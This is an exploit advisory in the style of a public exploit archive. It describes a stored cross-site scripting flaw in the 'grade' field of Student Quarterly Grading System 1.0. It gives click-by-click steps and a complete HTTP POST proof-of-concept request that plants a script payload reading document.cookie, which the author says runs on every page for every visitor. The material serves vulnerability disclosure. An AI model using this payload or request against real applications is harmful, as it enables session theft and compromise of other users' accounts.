Student Quarterly Grading System 1.0 - 'grade' Stored Cross-Site Scripting (XSS)

# Exploit Title: Student Quarterly Grading System 1.0 - 'grade' Stored Cross-Site Scripting (XSS)
# Date: 11.10.2021
# Exploit Author: Hüseyin Serkan Balkanli
# Vendor Homepage: https://www.sourcecodester.com/php/14953/student-quarterly-grading-system-using-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14953&title=Student+Quarterly+Grading+System+using+PHP+and+SQLite+Database+Free+Source+Code
# Version: 1.0
# Tested on: Windows 10, Kali Linux
# Student Quarterly Grading System v1.0 has Stored XSS at "Add New Class" Function.

Steps To Reproduce:
1 - Click to Class from Menu and click "Add New".
2 - Enter the payload to "grade" field as "<script>alert(document.cookie);</script>" without double-quotes and choose one of the Subject from list. (It can be anything, doesn't matter.)
3 - Click on Save and you are done. It's gonna be triggered when anyone visits the application. It's global and can trigger on any page.

PoC

POST /grading_system/Actions.php?a=save_class HTTP/1.1
Host: localhost
Content-Length: 457
sec-ch-ua: ";Not A Brand";v="99", "Chromium";v="94"
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryO6Q8ADzs1UvBltkB
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/grading_system/?page=class
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=arkil63kkqsabj3b8cf3oimm2j; __news247__logged=1; __news247__key=4599c04802b500f180c29bc60bdf1923
Connection: close

------WebKitFormBoundaryO6Q8ADzs1UvBltkB
Content-Disposition: form-data; name="id"


------WebKitFormBoundaryO6Q8ADzs1UvBltkB
Content-Disposition: form-data; name="subject_id"

3
------WebKitFormBoundaryO6Q8ADzs1UvBltkB
Content-Disposition: form-data; name="grade"

<script>alert(document.cookie);</script>
------WebKitFormBoundaryO6Q8ADzs1UvBltkB
Content-Disposition: form-data; name="section"


------WebKitFormBoundaryO6Q8ADzs1UvBltkB--